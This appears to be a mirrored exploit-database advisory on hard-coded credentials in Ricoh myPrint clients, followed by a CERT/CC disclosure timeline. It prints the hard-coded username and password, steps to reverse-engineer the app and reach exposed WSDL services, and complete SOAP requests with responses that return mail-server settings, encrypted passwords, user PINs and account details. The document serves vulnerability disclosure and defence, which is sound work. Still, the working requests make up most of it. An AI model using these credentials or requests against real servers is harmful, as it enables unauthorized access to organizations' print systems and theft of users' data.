扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 |
# Exploit Title: Ricoh myPrint 2.9.2.4 - Hard-Coded Credentials # Google Dork: intitle:"ricoh myprint" "Copyright Ricoh. All Rights Reserved" # Date: 2018-11-19 # Exploit Author: Hodorsec # Vendor Homepage: https://www.ricoh.com # Software Link: https://www.ricoh-europe.com/support/product-support/software-support-detail.html?prodId=100-13203 # Versions: # myPrint - Windows client version 2.9.2.4 # myPrint - Android client version 2.2.7 # Tested on: Ricoh myPrint clients and WSDL webservice # WSDL URL format: https://{HOST}/RicohmyPrint/MyPrintWebService.asmx?wsdl # CVE: N/A # Description: # Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for Android # give access to any externally disclosed myPrint WSDL API, as demonstrated by discovering # API secrets of related Google cloud printers, encrypted passwords of mail servers and # names of printed files. # Additional Information: # Hardcoded credentials in the Ricoh myPrint application 2.9.2.4 for Windows and 2.2.7 for # Android (reverse-engineered, identical credentials), gives access # to any externally disclosed Ricoh myPrint WSDL API. Using the found credentials, several info can be obtained, such as: # * Show settings such as local paths, used mailserver, mailaddresses for POP/IMAP and encrypted passwords (appears to be stream-based # encrypted, seeing different lengths of base64 hashes passwords (Algorithm yet unknown)). --> ReadMobileSettings # * Checks if a password is valid for ANY known user; returns "true" if password is valid for a known user --> IsPasswordValid # * Shows all user info such as ID, nameby looking up email alias --> IdentifierByEmailAlias # * Show used internal IP addresses and TCP ports of related printers/server for Ricoh myPrint # * Show related Google cloud printers with API secrets --> ReadGoogleCloudPrinters # * Show all printjob-statuses with filenames --> GetJobList # * Show related organizations --> ReadOrganizations # Affected Components: # * Tested Ricoh myPrint clients with indicated versions and probably any remotely accessible myPrint webserver with an accessible WSDL API. # Affected Code: # * Android client "WebService.java" ...<SNIP>... public static final class { public static final String AUTH_PASS = "Kyg63WfC"; public static final String AUTH_USER = "ricohmyprint"; public static final String NS_RICOH = "http://RicohmyPrint.com/"; public static final String NS_SOAP12 = "http://www.w3.org/2003/05/soap-envelope"; public static final String PRE_RICOH = "ric"; public static final String PRE_SOAP12 = "soap"; public static final String SERVICE = "/RicohmyPrint/myprintwebservice.asmx"; public static final String SUPPORTED_LANGS[] = { "en", "ca", "de", "es", "fr", "it", "nl", "no", "pl", "pt", "sv" }; ...<SNIP>... Attack Type: * Remote Attack Vectors: Steps: * Download the Android APK or Windows executable installer * Reverse engineer the APK or DLL's from the Windows installer * Look for the string "PASS" with a regex tool, which should pop up a hit * Access the WSDL on a reachable Ricoh myPrint environment and enumerate operations with a SOAP tool (e.g. "ReadMobileSettings") * Use any operation, substitute the "AuthSoapHd" values for UserName and Password with the found credentials * Perform the request and check results Hardcoded Credentials: * Username: ricohmyprint * Password: Kyg63WfC Header requirement: Required for using in an SOAP WSDL POST message as a header with values: <soapenv:Header> <ric:AuthSoapHd> <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> <ric:Password><![CDATA[Kyg63WfC]]></ric:Password> <ric:Version><![CDATA[0.1]]></ric:Version> <ric:Application><![CDATA[Desktop]]></ric:Application> <ric:DeviceId><![CDATA[1]]></ric:DeviceId> </ric:AuthSoapHd> </soapenv:Header> Examples: * ReadMobileSettings --------------------------------------------- REQUEST <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/"> <soapenv:Header> <ric:AuthSoapHd> <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> <ric:Password><![CDATA[Kyg63WfC]]></ric:Password> <ric:Version><![CDATA[0.1]]></ric:Version> <ric:Application><![CDATA[Desktop]]></ric:Application> <ric:DeviceId><![CDATA[1]]></ric:DeviceId> </ric:AuthSoapHd> </soapenv:Header> <soapenv:Body> <ric:ReadMobileSettings/> </soapenv:Body> </soapenv:Envelope> RESPONSE <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <ReadMobileSettingsResponse xmlns="http://RicohmyPrint.com/"> <ReadMobileSettingsResult> <WatchFolder>C:\ProgramData\RICOH\WatchFolder</WatchFolder> <ProcessFolder>C:\ProgramData\RICOH\ProcessFolder</ProcessFolder> <WebUploadFolder>C:\ProgramData\RICOH\WebUploadFolder</WebUploadFolder> <MaximumNumberProcessesRunningAllowed>0</MaximumNumberProcessesRunningAllowed> <ToFilePrinterName>myPrintToFile</ToFilePrinterName> <PrinterDriverName>RICOH Aficio MP C3500 PCL 6</PrinterDriverName> <POPIMAP> <EmailHandling>SINGLE</EmailHandling> <RetrievingInterval>5</RetrievingInterval> <EmailProtocol>POP3</EmailProtocol> <EmailServer>pop.someserver.local</EmailServer> <Port>110</Port> <PrintEmailBody>true</PrintEmailBody> <UserName>print@someserver.local</UserName> <Password>REDACTED</Password> <Domain /> <EmailWebservice /> <ExchangeVersion>5</ExchangeVersion> <OverrideCertificateCheck>false</OverrideCertificateCheck> </POPIMAP> <SMTP> <SmtpServer>smtp.someserver.local</SmtpServer> <Port>25</Port> <EmailDisplayName>Ricoh myPrint</EmailDisplayName> <EmailFrom>someuser@someserver.local</EmailFrom> <EnableSsl>false</EnableSsl> <UserName /> <Password>REDACTED</Password> </SMTP> <GCP> <Id>0</Id> <XmppPort>80</XmppPort> <UseSocksProxy>false</UseSocksProxy> <SocksProxyServer /> <SocksProxyVersion>5</SocksProxyVersion> <SocksProxyPort>1080</SocksProxyPort> <SocksProxyUser /> </GCP> <LPRPrinterPort>0</LPRPrinterPort> <UseLPR>false</UseLPR> <EmailRefusal>postmaster</EmailRefusal> </ReadMobileSettingsResult> </ReadMobileSettingsResponse> </soap:Body> </soap:Envelope> --------------------------------------------- * IdentifierByEmailAlias --------------------------------------------- REQUEST: <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ric="http://RicohmyPrint.com/"> <soapenv:Header> <ric:AuthSoapHd> <ric:UserName><![CDATA[ricohmyprint]]></ric:UserName> <ric:Password><![CDATA[Kyg63WfC]]></ric:Password> <ric:Version><![CDATA[a]]></ric:Version> <ric:Application><![CDATA[b]]></ric:Application> <ric:DeviceId><![CDATA[c]]></ric:DeviceId> </ric:AuthSoapHd> </soapenv:Header> <soapenv:Body> <ric:IdentifierByEmailAlias> <!--Optional:--> <ric:emailAlias>admin</ric:emailAlias> </ric:IdentifierByEmailAlias> </soapenv:Body> </soapenv:Envelope> RESPONSE: <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <soap:Body> <IdentifierByEmailAliasResponse xmlns="http://RicohmyPrint.com/"> <IdentifierByEmailAliasResult> <Exists>true</Exists> <Account> <Id>1337</Id> <AccountId>83e754ff-fa1d-48b6-adb2-7cb60a22476d</AccountId> <UserName>admin</UserName> <Emailaddress>someuser@someserver.local</Emailaddress> <PersonalmyPrintId>1osd9KJ</PersonalmyPrintId> <Balance>5</Balance> <BalanceFormatted>€ 5,00</BalanceFormatted> <Primarypin>123456</Primarypin> <SecondaryPin/> <OrganisationId>1</OrganisationId> <ByClientCreated>false</ByClientCreated> <IsActivated>true</IsActivated> <GuestAccount>false</GuestAccount> <Aliasses/> <Transactions/> <Language>GB</Language> <MpPrintingPreferences> <Id>0</Id> <DuplexPreference>TwoSidedLongEdge</DuplexPreference> <ColorPreference>Monochrome</ColorPreference> <ChangingDuplexEnabled>true</ChangingDuplexEnabled> <ChangingColorEnabled>true</ChangingColorEnabled> <StaplePreference>StapleTopLeft</StaplePreference> <PagePerSheetPreference>One</PagePerSheetPreference> <ChangingStapleEnabled>true</ChangingStapleEnabled> <ChangingPagePerSheetEnabled>true</ChangingPagePerSheetEnabled> </MpPrintingPreferences> <QpilotCardID/> <ClientType>IDPLocal</ClientType> <Administrator>false</Administrator> <HelpDesk>false</HelpDesk> <PrintQueue> <Id>1</Id> <PrinterId>1</PrinterId> <PrintQueueType>LPR</PrintQueueType> <PrinterName>Default printer</PrinterName> <PrinterAddress>127.0.0.1</PrinterAddress> <QueueName>lp</QueueName> <Port>515</Port> <IsPublic>true</IsPublic> <Priority>0</Priority> <Active>true</Active> </PrintQueue> <Domain/> </Account> </IdentifierByEmailAliasResult> </IdentifierByEmailAliasResponse> </soap:Body> </soap:Envelope> --------------------------------------------- Soap Endpoints: * ApplyAgreementAcceptance * ChangePassword * ClearCache * CreateAccount * CreateAccountByCardId * FinishedJobProcessing * GetConditionsUri * GetImage * GetJobList * GetLanguageTable * GetPrintCapabilities * GetPrintQueueRuleResult * GetSupportUri * IdentifierByEmailAlias * IsPasswordValid * LogIn * Operation * ReadAccount * ReadGoogleCloudPrinters * ReadMobileSettings * ReadMpPrintQueues * ReadOrganizations * ReadSettings * ReSendPincode * ResetPassword * RetrieveCloudPrintJobsAllowed * RetrieveEmailAllowed * SendCancelPrintJob * SendHeartbeat * SendPrinterName * Test * UpdateAccount * UpdateGoogleCloudPrinter * UploadFile * UploadFileAndPrintTicket * VerifyJobProcessing * VoucherToCash * WaitingJob * WriteLog Disclosure Timeline using CERT/CC disclosure policy: - 04-10-18: Requested CVE - 05-10-18: Contacted vendor for initial contact, used several publicly known mailaddresses - 10-10-18: Contacted CERT for Vulnerability Disclosure coordination due to no response from vendor - 22-10-18: CERT responded it received no response on their behalf from vendor - 22-10-18: Sent reminder to vendor - 19-11-18: Public Disclosure |
体验盒子
